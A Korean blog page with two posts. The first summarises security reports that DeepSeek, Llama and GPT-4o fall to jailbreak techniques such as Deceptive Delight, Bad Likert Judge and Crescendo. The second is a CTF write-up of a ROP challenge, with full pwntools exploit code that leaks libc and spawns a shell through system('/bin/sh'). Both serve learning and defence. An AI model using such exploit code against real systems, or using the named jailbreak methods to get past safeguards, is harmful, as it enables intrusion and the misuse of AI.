[카테고리:] 미분류

  • AI 탈옥 취약점

    현재 AI가 많아지면서 생성형 AI를 상대로 한 잠재적인 취약점에 관한 우려가 커지고 있습니다.

    하나의 예로 시작하면 현재 새로 나타난 중국에서 만든 딥시크가 글로벌 사이버 보안 전문 기업인 팔로알토 네트웍스는 자사의 위협 연구 기관 ‘유닛42’ 조사를 바탕으로 ‘ 탈옥’ 공격에 취약하다는 조사 결과를 발표 했습니다.

    또한, 시스코의 보안 연구원들이 ‘딥시크-R1’의 안정성 테스트에서 유해한 프롬프트를 차단하지 못하고 100% 탈옥 성공률을 보였다고 합니다. 하지만 딥시크 뿐만아니라 메타의 ‘라마 3.1 405B’와 ‘GPT-4o’도 각각 96%, 86%의 높은 실패율을 보였다고 발표했습니다.

    AI에서 ‘탈옥’ 공격은 모델에 설정된 가드레일을 뚫고 제한된 작업을 수행하기 위해 시도하는 것을 말합니다. 즉, 탈옥 공격을 사용하여 모델 동작을 변경하고 공격자에게 이점을 제공하도록 하는 것 입니다.

    이는 AI를 통해 악성 소프트웨어 생성, 악의적인 스크립팅 등 유해한 콘텐츠 생성 가능성을 나타내고 있습니다.

    팔로알토 네트웩스에서 총 3가지 탈옥 기법을 통해 취약점을 집중적으로 테스트 하였습니다. ‘디셉티브 딜라이트(Deceptive Delight)’, ‘배드 리커트 저지(Basd Likert Judge)’, ‘크레셴도(Crescendo)’ 등 단일 또는 다단계 탈옥 기법이 활용되었고, 딥시크 가드레일을 성공적으로 우회(bypass)해 데이터 탈취 도구 개발, 키로거(keylogger) 생성, 발화 장치 제작 등과 관련된 유해한 콘텐츠를 생성했다고 발표했습니다.

    현재 AI가 방대한 데이터를 가지고 있는 만큼 AI 취약점에 대한 보안 조치가 중요하게 여겨지고 있다고 합니다.

  • 2025년 2월 10일 시원포럼 CTF SYSTEM WriteUP

    2025년 겨울 시원포럼 출제 문제입니다

    문제 제목은 기억이 안나지만 간단한 ROP 문제였습니다

    먼저 프로그램을 실행하면

    이름과 메세지(?) 를 입력할 수 있게 됩니다

    여기까지 보았을 때는 그냥 쉘코드 삽입해서 끝나나? 했습니다

    하지만 띠링~ NX bit가 활성화 되어있는걸로 보아 쉘코드는 아닌 걸로 판단하고 ROP인걸 몰랐을때 RTL 정도로 기대를 했습니다 하지만 system함수가 들어있는 사용자 지정함수 같은건 없는 걸로 보고 ROP를 해야한다고 생각했습니다

    정보를 조금 더 얻기 위해서 IDA로 실행해 보았습니다.

    puts와 read, printf 정도가 사용되었으며 해당 디코드 된 메인 함수에서 2번째 read함수를 실행할 때 v4라는 변수에다가 값을 집어 넣는데 32byte의 크기를 집어 넣을 수 있게 명시되어 있습니다. v4의 크기는 16byte이며 16byte정도 overflow가능함을 알 수 있습니다.

    시나리오

    1. overflow해서 puts함수를 이용해 특정 함수의 주소를 받아오고 이걸 통하여 libc의 base주소를 알아내고 다시 main으로 돌린다
    2. 2번 째 main함수에서는 system으로 돌아가게 하고 인자로 “/bin/sh”의 주소를 넣어준다

    준비

    • main의 주소
    • 특정함수의 offset(여기서는 read사용)
    • pop rdi; ret의 가젯
    • “/bin/sh”의 주소
    • system함수의 주소

    정도가 필요해 보인다 하나씩 구해주자

    다행히 PIE가 off되어있어 주소는 쉽게 구할 수 있을 것같다

    1.main의 주소

      프로그램 실행 전 디버그를 해보니 main이 없다 여기서 사용된 함수들만 표시되고있다 그래서 프로그램을 실행한 후 알아내기로 한다

      처음에 puts함수를 사용하는 걸 확인 하였으니 puts함수에다가 브레이크를 걸고 멈추면 puts함수를 종료하고 나간 위치를 보면 될 것 같다

      위의 설명했던 방법으로 main함수의 프롤로그를 찾았다(진짜 main 맞음)

      main : 0x00000000004011a2

      2.특정함수의 offset

      libc base를 알아낼 특정함수가 필요하다 puts, prinf, read아무거나 상관없지만 read를 이용해본다

      이건 pwntools의 elf.got를 이용하면 아주 쉽게 사용가능하여 넘긴다

      3.pop rdi; ret의 주소

      여기서도 툴을 사용할 예정이다

      사용 툴 ; ROPgadget

      ROPgadget --binary prob | grep "pop rdi" 이와 같이 명령어를 실행해 주었다

      쉽게 가젯도 구할 수 있었다

      4./bin/sh의 주소

      이것 또한 pwntools의 함수로 쉽게 구할 수 있다

      사용법 : lib.search(b"/bin/sh") libc파일에서 특정 문자를 검색할 수 있다

      5. system 함수의 주소

      사실 여기는 위의 방법으로 offset을 구하면 되는 일이다

      우리는 이 또한 만능 pwntools로 해결할 예정이다..

      준비는 끝났고 진행해 보도록 하겠다 실행에도 순차 적으로 확인하면서 넘어간다 한번에 payload를 짜고 실행해서 성공하면 좋겠지만 그러다 꼬이면 고치기 힘들기 때문에 하나씩 확인한다

      payload

      1. main으로 돌아오기

      먼저 main으로 돌아올 수 있어야하기 때문에 test해본다

      payload.py

      from pwn import *
      
      p = process('./prob')
      e = ELF('./prob')
      lib = ELF('/lib/x86_64-linux-gnu/libc.so.6')
      context.log_level = 'debug'
      
      mainstart = 0x00000000004011a2
      
      p.interactive()

      기본 payload의 코드는 이렇게 작성한다

      위의 봤던 코드를 생각하며 처음에는 의미 없는 값을 넘겨주고 그 다음에는 main의 값을 넣어주자

      흠 그냥 return 자리에 원하는 값이 들어갈때까지 노가다를 반복한 결과 v4변수와 return 주소의 값의 위치가 56byte차이가 나고 return 주소의 크기까지 포함 하려면 64byte의 payload를 작성하면 된다 그리고 첫번째 값은 30정도로 채워서 보내야한다(이유는 몰랑)

      payload = b'\xff'*29
      p.sendafter(' :',payload)
      
      payload2 = b'A'*56
      payload2 += p64(mainstart)
      p.sendafter(' :',payload2)

      start echo다음에 어떠한 값을 입력하고 다시 start echo 가 출력되는 걸로 보아 잘 main으로 돌아왔다 그럼 이제 앞서 넣은 가젯을 이용해서 puts의 실제 주소를 받아보자

      payload를 수정하여 아래와 같게 한다

      mainstart = 0x00000000004011a2
      read_got = e.got["read"]
      put_plt = e.plt["puts"]
      poprdi = 0x000000000040119d
      
      payload = b'\xff'*29
      p.sendafter(' :',payload)
      
      payload2 = b'A'*56
      payload2 += p64(poprdi)
      payload2 += p64(read_got)
      payload2 += p64(put_plt)
      payload2 += p64(mainstart)
      p.sendafter(' :',payload2)

      이상한 값이 출력되었다 이걸 받아서 보자

      p.recvline()  # 불필요한 출력 제거
      leaked_read = p.recvuntil("\n", drop=True)  # puts 출력 받기
      leaked_read = u64(leaked_read.ljust(8, b'\x00'))
      print(hex(leaked_read))

      그럼 특정 값이 나오는데 동적 분석으로 한번 맞는지 확인해 본다

      잘 뽑았다는 걸 알게 되었고 이걸로 libc base주소를 얻을 수 있다

      이걸로 system의 주소와 /bin/sh의 문자열 주소도 얻을 수 있다

      ibc_base = leaked_read - lib.symbols['read']  # libc base 주소 계산
      
      system = libc_base + lib.symbols['system'] # system 함수 주소 계산
      
      binsh_offset = next(lib.search(b"/bin/sh\x00"))
      binsh_addr = libc_base + binsh_offset  # 실제 "/bin/sh" 주소

      그럼 모든걸 구하게 되었고 다시한번 payload를 보내고 이번엔 인자에 /bin/sh의 주소를 넣고 system을 호출하면?

      실패한다 디버깅 하면서 뜬 오류를 검색 결과 스택이 정렬이 안되어 있다고 한다 그래서 ret을 한번 해준뒤 사용하면 예쁘게 작동한다고 하는데 이유는 나중에 공부해 보려고한다

      그래서 ret의 주소는 어떻게 얻냐면 그냥 poprdi 가젯에 +1 해주면 끝

      그래서 나온 총 payload이다

      from pwn import *
      
      p = process('./prob')
      e = ELF('./prob')
      lib = ELF('/lib/x86_64-linux-gnu/libc.so.6')
      context.log_level = 'debug'
      
      mainstart = 0x00000000004011a2
      read_got = e.got["read"]
      put_plt = e.plt["puts"]
      poprdi = 0x000000000040119d
      
      payload = b'\xff'*29
      p.sendafter(' :',payload)
      
      payload2 = b'A'*56
      payload2 += p64(poprdi)
      payload2 += p64(read_got)
      payload2 += p64(put_plt)
      payload2 += p64(mainstart)
      p.sendafter(' :',payload2)
      
      p.recvline()  # 불필요한 출력 제거
      leaked_read = p.recvuntil("\n", drop=True)  # puts 출력 받기
      leaked_read = u64(leaked_read.ljust(8, b'\x00'))
      
      libc_base = leaked_read - lib.symbols['read']  # libc base 주소 계산
      
      system = libc_base + lib.symbols['system'] # system 함수 주소 계산
      
      binsh_offset = next(lib.search(b"/bin/sh\x00"))
      binsh_addr = libc_base + binsh_offset  # 실제 "/bin/sh" 주소
      
      ret = poprdi + 1  # "ret" 가젯 (스택 정렬 문제 해결)
      
      payload = b'\xff'*29
      p.sendafter(' :',payload)
      
      payload2 = b'A'*56
      payload2 += p64(ret)
      payload2 += p64(poprdi)
      payload2 += p64(binsh_addr)
      payload2 += p64(system)
      p.sendafter(' :',payload2)
      
      p.interactive()

      이렇게 ROP의 예제를 공부할 수 있었다